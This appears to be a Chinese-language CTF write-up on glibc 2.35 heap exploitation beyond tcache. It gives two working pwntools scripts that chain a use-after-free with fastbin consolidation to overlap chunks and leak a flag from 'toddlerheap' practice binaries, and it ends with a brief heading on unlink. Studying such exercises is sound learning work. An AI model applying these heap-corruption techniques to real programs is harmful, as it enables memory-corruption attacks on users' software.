glibc 2.35: tcache外的利用手法

2025-06-23

1. fastbin consolidation

1.1 uaf + fastbin consolidation泄露flag

场景是:

1. 只能申请小于0x400的堆块,存放堆地址的空间只够16次
2. flag位于0x450的某个堆块中
3. 存在uaf漏洞

核心思路是构造fastbin中有一个chunk A(与top chunk相邻),利用fastbin consolidation的机制 + uaf,使flag申请下来的0x450的chunk B的起始地址与A一样。打印flag即可

from pwn import *

binary_path = "/challenge/toddlerheap_level1.0"
#binary_path = "./toddlerheap_level1.0"
p = process(binary_path)

def malloc(idx,size):
    p.sendline(b"malloc")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Size: ")
    p.sendline(str(size).encode())
    return

def free(idx):
    p.sendline(b"free")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())    
    return

def puts(idx):
    p.sendline(b"puts")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())    
    return

for i in range(8):
    malloc(i,0x70)
for i in range(8):
    free(i)
# gdb.attach(p)
# pause()
p.sendline(b"read_flag")
puts(7)

p.interactive()

1.1.1 变种: uaf + fastbin consolidation + 防止consolidate的chunk

一般这种题目的核心思路是控制chunk的总和满足某个条件

from pwn import *

binary_path = "/challenge/toddlerheap_level2.1"
binary_path = "./toddlerheap_level2.1"

p = process(binary_path)

def malloc(idx,size):
    p.sendline(b"malloc")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Size: ")
    p.sendline(str(size).encode())
    return

def free(idx):
    p.sendline(b"free")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())    
    return

def puts(idx):
    p.sendline(b"puts")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())    
    return

def calloc(idx,size):
    p.sendline(b"calloc")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Size: ")
    p.sendline(str(size).encode())
    return    

for i in range(8):
    malloc(i,0x70)
for i in range(8):
    free(i)
calloc(8,0x5b0)# fastbin consolidation: 7 equals 8
malloc(9,0x10) # in case of merging
calloc(10,0x5b0) # break the case
malloc(11,0x10) # in case of merging
free(10)
free(8)

# gdb.attach(p)
# pause()
p.sendline(b"read_flag")
puts(7)

p.interactive()

2. unlink

通过unlink能够解链,对某个地址的值进行改写